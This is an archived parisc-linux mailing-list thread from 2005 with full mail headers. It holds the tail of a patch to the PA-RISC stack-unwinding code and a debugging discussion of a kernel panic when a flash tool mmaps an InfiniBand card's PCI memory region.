+                       struct unwind_frame_regs *regs);
  void unwind_frame_init_from_blocked_task(struct unwind_frame_info *info, struct task_struct *t);
+#if 0   /* FIXME: not used */
  void unwind_frame_init_running(struct unwind_frame_info *info, struct pt_regs *regs);
+#endif
  int unwind_once(struct unwind_frame_info *info);
  int unwind_to_user(struct unwind_frame_info *info);

--- arch/parisc/kernel/unwind.c.Orig    2005-05-01 15:50:50.000000000 +0200
+++ arch/parisc/kernel/unwind.c 2005-05-01 15:40:39.000000000 +0200
@@ -326,14 +326,18 @@
  }

  void unwind_frame_init(struct unwind_frame_info *info, struct task_struct *t,
-                      struct pt_regs *regs)
+                       struct unwind_frame_regs *regs)
  {
-       memset(info, 0, sizeof(struct unwind_frame_info));
+       if (unlikely(!info)) {
+               printk(KERN_ERR "%s: info == NULL\n", __FUNCTION__);
+               return;
+       }
+       memset(info, 0, sizeof(*info));
         info->t = t;
-       info->sp = regs->gr[30];
-       info->ip = regs->iaoq[0];
-       info->rp = regs->gr[2];
-       info->r31 = regs->gr[31];
+       info->sp = regs->sp;
+       info->ip = regs->ip;
+       info->rp = regs->rp;
+       info->r31 = regs->r31;

         dbg("(%d) Start unwind from sp=%08lx ip=%08lx\n",
             t ? (int)t->pid : -1, info->sp, info->ip);
@@ -342,22 +346,21 @@
  void unwind_frame_init_from_blocked_task(struct unwind_frame_info *info, struct task_struct *t)
  {
         struct pt_regs *r = &t->thread.regs;
-       struct pt_regs *r2;
+       struct unwind_frame_regs r2;

-       r2 = (struct pt_regs *)kmalloc(sizeof(struct pt_regs), GFP_KERNEL);
-       if (!r2)
-               return;
-       *r2 = *r;
-       r2->gr[30] = r->ksp;
-       r2->iaoq[0] = r->kpc;
-       unwind_frame_init(info, t, r2);
-       kfree(r2);
+       r2.sp  = r->ksp;
+       r2.ip  = r->kpc;
+       r2.rp  = r->gr[2];
+       r2.r31 = r->gr[31];
+       unwind_frame_init(info, t, &r2);
  }

+#if 0  /* FIXME: not used */
  void unwind_frame_init_running(struct unwind_frame_info *info, struct pt_regs *regs)
  {
         unwind_frame_init(info, current, regs);
  }
+#endif

  int unwind_once(struct unwind_frame_info *next_frame)
  {
--- arch/parisc/kernel/traps.c.Orig     2005-05-01 15:50:32.000000000 +0200
+++ arch/parisc/kernel/traps.c  2005-05-01 15:38:08.000000000 +0200
@@ -158,25 +158,35 @@
         printk("\n");
  }

+struct unwind_frame_regs ufi_regs_buf[UFI_REGS_BUF_MAX];
+unsigned int ufi_regs_buf_i = 0;
+
  void show_stack(struct task_struct *task, unsigned long *s)
  {
         struct unwind_frame_info info;
+       struct unwind_frame_regs *r;

         if (!task) {
+               if (ufi_regs_buf_i >= UFI_REGS_BUF_MAX) {
+                       printk(KERN_ERR "Can't %s().\n", __FUNCTION__);
+                       return;
+               }
+
                 unsigned long sp;
-               struct pt_regs *r;

  HERE:
                 asm volatile ("copy %%r30, %0" : "=r"(sp));
-               r = (struct pt_regs *)kmalloc(sizeof(struct pt_regs), GFP_KERNEL);
-               if (!r)
-                       return;
-               memset(r, 0, sizeof(struct pt_regs));
-               r->iaoq[0] = (unsigned long)&&HERE;
-               r->gr[2] = (unsigned long)__builtin_return_address(0);
-               r->gr[30] = sp;
+               r = &ufi_regs_buf[ufi_regs_buf_i++];
+               memset(r, 0, sizeof(*r));
+               r->ip = (unsigned long)&&HERE;
+               r->rp = (unsigned long)__builtin_return_address(0);
+               r->sp = sp;
                 unwind_frame_init(&info, current, r);
-               kfree(r);
+               ufi_regs_buf_i--;
+               if (ufi_regs_buf_i < 0) {
+                       printk(KERN_ERR "Wouldn't have reach here???\n");
+                       return;
+               }
         } else {
                 unwind_frame_init_from_blocked_task(&info, task);
         }
@@ -423,7 +433,10 @@
         {
                 /* show_stack(NULL, (unsigned long *)regs->gr[30]); */
                 struct unwind_frame_info info;
-               unwind_frame_init(&info, current, regs);
+               struct unwind_frame_regs r2;
+               r2.sp = regs->gr[30]; r2.ip = regs->iaoq[0];
+               r2.rp = regs->gr[2]; r2.r31 = regs->gr[31];
+               unwind_frame_init(&info, current, &r2);
                 do_show_stack(&info);
         }

====<>====

compile and boot fine on c110.

Thanks for additional advise,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.12-rc3-pa1 PCI mmap panic
Date: Sun, 1 May 2005 22:12:44 -0600
Lines: 71
Approved: news@gmane.org
Message-ID: <20050502041244.GA1601@colo.lackof.org>
References: <20050501074901.GA13801@colo.lackof.org>
	<1114975460.4788.27.camel@mulgrave>
	<20050502000833.GE17998@colo.lackof.org>
	<1114993898.4788.47.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623775 14448 80.91.229.3 (22 Nov 2014 02:36:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:15 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2005 04:10:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 02 May 2005 06:10:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E549F7D68B;
	Sun,  1 May 2005 22:10:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23740-07; Sun, 1 May 2005 22:10:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9E0F7D69A;
	Sun,  1 May 2005 22:10:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 90DA37D687
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 22:10:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23740-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 May 2005 22:10:08 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 06F937D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 22:10:08 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 733F4298010;
	Sun,  1 May 2005 22:12:46 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05262-07; Sun, 1 May 2005 22:12:45 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 007D829800A; Sun,  1 May 2005 22:12:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1114993898.4788.47.camel@mulgrave>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cc0HYqIZeSE57L6WZHQhaXN2IGRvb8Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22684

On Sun, May 01, 2005 at 07:31:37PM -0500, James Bottomley wrote:
> > *nod*. Where should we be telling the VM about MMIO ranges?
> > We clearly need to be advertising them.
> 
> Is this a 64 bit mmio region?  Our pfn_is_io heuristics are a bit simple
> (i.e. top F only set).

It's a 64-bit BAR but not an address > 32-bits.
ion:~# lspci -vs 81:
0000:81:00.0 InfiniBand: Mellanox Technology MT23108 InfiniHost (rev a1)
        Subsystem: Hewlett-Packard Company: Unknown device 12ce
        Flags: bus master, 66MHz, medium devsel, latency 64, IRQ 24
        Memory at c0800000 (64-bit, non-prefetchable) [size=1M]
        Memory at c0000000 (64-bit, prefetchable) [size=8M]
        Capabilities: [40] #11 [001f]
        Capabilities: [50] Vital Product Data
        Capabilities: [60] Message Signalled Interrupts: 64bit+ Queue=0/5 Enable-
        Capabilities: [70] PCI-X non-bridge device.

The 3rd BAR isn't exposed by the current version of firmware.
If it were exposed, then we would see a 128MB or 256MB MMIO space.


> Yes, wrong kernel.  That bug physically cannot occur with
> CONFIG_DISCONTIGMEM=n.  What I'm interested in there is if the tool
> actually works.

Sorry, it was the old kernel. I expect make -j2 failure scrolled
off the screen after one of the threads segfaults.
ie no new kernel got built.

Now the system just resets. No tombstone of any kind. :^(

ion:/usr/src/openib_gen2/src/userspace/tvflash# cat /proc/meminfo 
MemTotal:      1024548 kB
MemFree:        988272 kB
Buffers:          2016 kB
Cached:          15172 kB
...
ion:/usr/src/openib_gen2/src/userspace/tvflash# src/tvflash -i
open_hca(0)



Firmware Version  44.24

Duplex Console IO Dependent Code (IODC) revision 1


PC and RP from PIM dump + System.map:

CPU0 IOAQ 0x1010aadc $$remoI+350
CPU0 GR02 0x1010d110 __udivdi3+198

CPU1 IOAQ 0x101011b0 flush_data_cache_local+8
CPU1 GR02 0x10113b04 update_mmu_cache+94


Looks like CPU1 died right away trying to flush an uncacheable region.
No surprise that didn't work too well.

And no clue what's up with CPU0.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.12-rc3-pa1 PCI mmap panic
Date: Sun, 1 May 2005 18:08:33 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <20050502000833.GE17998@colo.lackof.org>
References: <20050501074901.GA13801@colo.lackof.org>
	<1114975460.4788.27.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623775 14453 80.91.229.3 (22 Nov 2014 02:36:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:15 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2005 00:06:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 02 May 2005 02:06:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 758717D671;
	Sun,  1 May 2005 18:06:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22646-10; Sun, 1 May 2005 18:06:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7AABB7D672;
	Sun,  1 May 2005 18:06:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 648DA7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 18:05:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23044-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 May 2005 18:05:57 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E115A7D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 18:05:56 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2E87A29806E;
	Sun,  1 May 2005 18:08:35 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21765-05; Sun, 1 May 2005 18:08:33 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CF979298010; Sun,  1 May 2005 18:08:33 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1114975460.4788.27.camel@mulgrave>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: owsHYgYheSE57L6WZHQhaXN2IGRvb0Ce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22685

On Sun, May 01, 2005 at 02:24:20PM -0500, James Bottomley wrote:
> pfnnid_map is a map per 1gb (currently what PFNNID_SHIFT defines) of our
> memory range showing which discontig chunk this maps to.  0xff means the
> range maps nowhere.

ok

> Without better debugging, it's hard to say, but I guess that this flash
> tool is actually trying to mmap a region of memory on the PCI card and
> it's tripping over this section of code.

Yes. A copy of the openib_gen2 tree is parked on gsyprf11:/usr/src/ as well.

>   My second order guess would be
> that we don't update the pfnnid_map when we actually declare a card I/O
> range, so the kernel thinks it can map the region OK but we erroneously
> trip this bug.

*nod*. Where should we be telling the VM about MMIO ranges?
We clearly need to be advertising them.

> I'm with Joel on this one:
> Can you reproduce the problem without CONFIG_DISCONTIGMEM?

Yes. I rebuilt the kernel with CONFIG_DISCONTIGMEM=n.
I'm having doubts though that I rebooted the right kernel.
I believe so but post again later if not.

ion:/usr/src/openib_gen2/src/userspace/tvflash# src/tvflash -i
open_hca(0)
kernel BUG at include/asm/mmzone.h:85!
Backtrace:
 [<0000000010113060>] dump_stack+0x18/0x28
 [<00000000101813fc>] remap_pfn_range+0x37c/0x4b8
 [<0000000010241934>] mmap_mem+0x2c/0x40
 [<0000000010187288>] do_mmap_pgoff+0x478/0x858
 [<0000000010114f84>] do_mmap2+0xa4/0x108
 [<0000000010115030>] sys_mmap+0x28/0x38
 [<0000000010107f80>] syscall_exit+0x0/0x14

Kernel panic - not syncing: BUG!
 <0>Rebooting in 5 seconds..


thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.12-rc3-pa1 PCI mmap panic
Date: Sun, 01 May 2005 19:31:37 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <1114993898.4788.47.camel@mulgrave>
References: <20050501074901.GA13801@colo.lackof.org>
	<1114975460.4788.27.camel@mulgrave>
	<20050502000833.GE17998@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623775 14455 80.91.229.3 (22 Nov 2014 02:36:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:15 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2005 00:31:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 02 May 2005 02:31:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2D797D658;
	Sun,  1 May 2005 18:31:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23397-07; Sun, 1 May 2005 18:31:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD0807D64C;
	Sun,  1 May 2005 18:31:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B6CC7D648
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 18:31:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23044-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 May 2005 18:31:49 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id D61447D644
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 18:31:48 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j420VgA09650; Sun, 1 May 2005 20:31:42 -0400
In-Reply-To: <20050502000833.GE17998@colo.lackof.org>
X-Mailer: Evolution 2.0.4 (2.0.4-4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rhEHYmhmeSE57L6WZHQhaXN2IGRvb4Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22686

On Sun, 2005-05-01 at 18:08 -0600, Grant Grundler wrote:
> On Sun, May 01, 2005 at 02:24:20PM -0500, James Bottomley wrote:
> >   My second order guess would be
> > that we don't update the pfnnid_map when we actually declare a card I/O
> > range, so the kernel thinks it can map the region OK but we erroneously
> > trip this bug.
> 
> *nod*. Where should we be telling the VM about MMIO ranges?
> We clearly need to be advertising them.

Is this a 64 bit mmio region?  Our pfn_is_io heuristics are a bit simple
(i.e. top F only set).

> > I'm with Joel on this one:
> > Can you reproduce the problem without CONFIG_DISCONTIGMEM?
> 
> Yes. I rebuilt the kernel with CONFIG_DISCONTIGMEM=n.
> I'm having doubts though that I rebooted the right kernel.
> I believe so but post again later if not.
> 
> ion:/usr/src/openib_gen2/src/userspace/tvflash# src/tvflash -i
> open_hca(0)
> kernel BUG at include/asm/mmzone.h:85!
> Backtrace:
>  [<0000000010113060>] dump_stack+0x18/0x28
>  [<00000000101813fc>] remap_pfn_range+0x37c/0x4b8
>  [<0000000010241934>] mmap_mem+0x2c/0x40
>  [<0000000010187288>] do_mmap_pgoff+0x478/0x858
>  [<0000000010114f84>] do_mmap2+0xa4/0x108
>  [<0000000010115030>] sys_mmap+0x28/0x38
>  [<0000000010107f80>] syscall_exit+0x0/0x14

Yes, wrong kernel.  That bug physically cannot occur with
CONFIG_DISCONTIGMEM=n.  What I'm interested in there is if the tool
actually works.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.12-rc3-pa1 PCI mmap panic
Date: Mon, 02 May 2005 09:51:50 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <1115045510.5006.7.camel@mulgrave>
References: <20050501074901.GA13801@colo.lackof.org>
	<1114975460.4788.27.camel@mulgrave>
	<20050502000833.GE17998@colo.lackof.org>
	<1114993898.4788.47.camel@mulgrave>
	<20050502041244.GA1601@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623776 14459 80.91.229.3 (22 Nov 2014 02:36:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:16 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2005 14:52:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 02 May 2005 16:52:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9700D7D672;
	Mon,  2 May 2005 08:52:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27948-07; Mon, 2 May 2005 08:52:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F1E37D66E;
	Mon,  2 May 2005 08:52:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E8DD7D66A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 08:51:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27839-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 May 2005 08:51:59 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id A78E17D666
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 08:51:58 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j42EppA16452; Mon, 2 May 2005 10:51:51 -0400
In-Reply-To: <20050502041244.GA1601@colo.lackof.org>
X-Mailer: Evolution 2.0.4 (2.0.4-4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yVsEYs8ZeSE57L6WZHQhaXN2IGRvb0CS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22687

On Sun, 2005-05-01 at 22:12 -0600, Grant Grundler wrote:
>         Memory at c0800000 (64-bit, non-prefetchable) [size=1M]
>         Memory at c0000000 (64-bit, prefetchable) [size=8M]

Exactly ... that's the 3rd gigabyte; I assume there's no physical memory
there, so the pfnnid_map is 0xff (except the bit where the io region
check works).

However, there's a total screw up here: 0xc0000000 is outside of our
premapped I/O region (0xf0000000-0xffffffff) so one of our assumptions
about pa is broken; either the mercury doesn't obey the I/O window rules
and we need to update the OS, or the card has the wrong address.

> Now the system just resets. No tombstone of any kind. :^(
[...]
